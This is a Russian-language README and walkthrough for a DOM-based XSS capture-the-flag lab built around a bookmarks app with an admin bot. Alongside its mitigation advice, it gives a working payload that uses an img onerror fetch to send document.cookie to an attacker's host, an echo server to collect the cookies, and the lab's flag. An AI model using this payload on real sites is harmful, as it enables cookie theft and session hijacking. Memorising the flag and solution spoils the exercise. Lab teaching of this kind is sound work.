DOM-based XSS (Cross-Site Scripting) возникает, когда JavaScript на странице берет данные из ненадежного источника и вставляет их в DOM не проверяя контента, позволяя выполнить произвольный JavaScript код на странице.
Ключевая причина — использование innerHTML для вставки данных, полученных из URL (параметр после #), без предварительной санитизации.
- Злоумышленник может создать специальную ссылку с вредоносным кодом в хеше
- При переходе жертвы код выполняется в её браузере
- Атакующий может украсть куки файлы, сессионные данные, перенаправить пользователя или выполнить действия от его имени
// Уязвимость
element.innerHTML = userData;
// Реализация безопасного варианта
element.textContent = userData;// Использование DOMPurify.sanitize для очистки HTML
const clean = DOMPurify.sanitize(userData);
element.innerHTML = clean;Content-Security-Policy: default-src 'self'; script-src 'self'
setcookie("session", "value", ["httponly" => true]);- Docker Compose
- Установленнвка компонентов для Docker
# Клонирование репозитория
git clone https://github.com/validverify/dom-xss-ctf.git
cd dom-xss-ctf
# Создание файла с переменными окружения
cp .env.ctf .env
# Запуск приложения
docker-compose up --build- Уязвимое приложение: http://DOCKER_MACHINE_IP:8080
- Бот админ
| Название перменной | Описание | Значение |
|---|---|---|
| FLAG | Флаг для бота | practice{dom_based_xss_in_bookmarks} |
| WEB_PORT | Порт работы веба | 8080 |
В файле web/bookmark.php на странице просмотра закладки:
let encodedTitle = location.hash.substring(1);
let titleFromHash = decodeURIComponent(encodedTitle);
document.getElementById('bookmark-title').innerHTML = titleFromHash; // Уязвимоя строка- Запустить HTTP сервер для приема данных Создаем небольшой-удобный клиент или запускаем через:
python3 -m http.server 8000 - Создание XSS нагрузки на целевую страницу
В примере, рассматриваем вставку вредоносного кода через элемент
и ошибки его загрузки
http://MACHINE_IP:8080/bookmark.php#<img src=SMTH onerror="fetch('http://YOUR_IP:8000/?cookie='+document.cookie)">- Ожидаем проходки ботом админом по списку ссылок
- Анализируем лог на echo сервере Как итог, флаг находится в куки файлах бота админа
GET /?cookie=flag=FLAGПод автатизацией, подразумевается, написание скрипта для атаки, без исследования интерфейса веб сайта Как вариант, приема сервера:
# echo_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import logging
logging.basicConfig(level=logging.INFO)
class EchoHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.handle_echo()
def do_POST(self):
self.handle_echo()
def handle_echo(self):
request_path = self.path
request_headers = self.headers
content_length = int(self.headers.get('Content-Length', 0))
body = self.rfile.read(content_length).decode('utf-8')
logging.info(f"--- Incoming {self.command} Request ---")
logging.info(f"Path: {request_path}")
logging.info(f"Headers:\n{request_headers}")
logging.info(f"Body:\n{body}")
logging.info("----------------------------------")
self.send_response(200)
self.send_header('Content-type', 'text/plain')
self.end_headers()
response_text = f"Method: {self.command}\nPath: {request_path}\n\nHeaders:\n{request_headers}\nBody:\n{body}"
self.wfile.write(response_text.encode('utf-8'))
if __name__ == '__main__':
port = 8000
server_address = ('', port)
httpd = HTTPServer(server_address, EchoHandler)
print(f"Starting echo server on port {port}...")
httpd.serve_forever()bookmarkx-ctf/ ├── docker-compose.yml # Настройка контейнеров ├── .env # Переменные окружения ├── web/ │ ├── Dockerfile │ ├── index.php # Главная страница со списком закладок │ ├── add.php # Добавление новых закладок │ ├── bookmark.php # Уязвимый файл, для просмотра закладок │ └── data_storage.data # Хранилище закладок └── bot/ ├── Dockerfile ├── bot.py # Бот админ └── requirements.txt # Зависимости для бота
Название%:%URL
Google%:%https://google.com
GitHub%:%https://github.com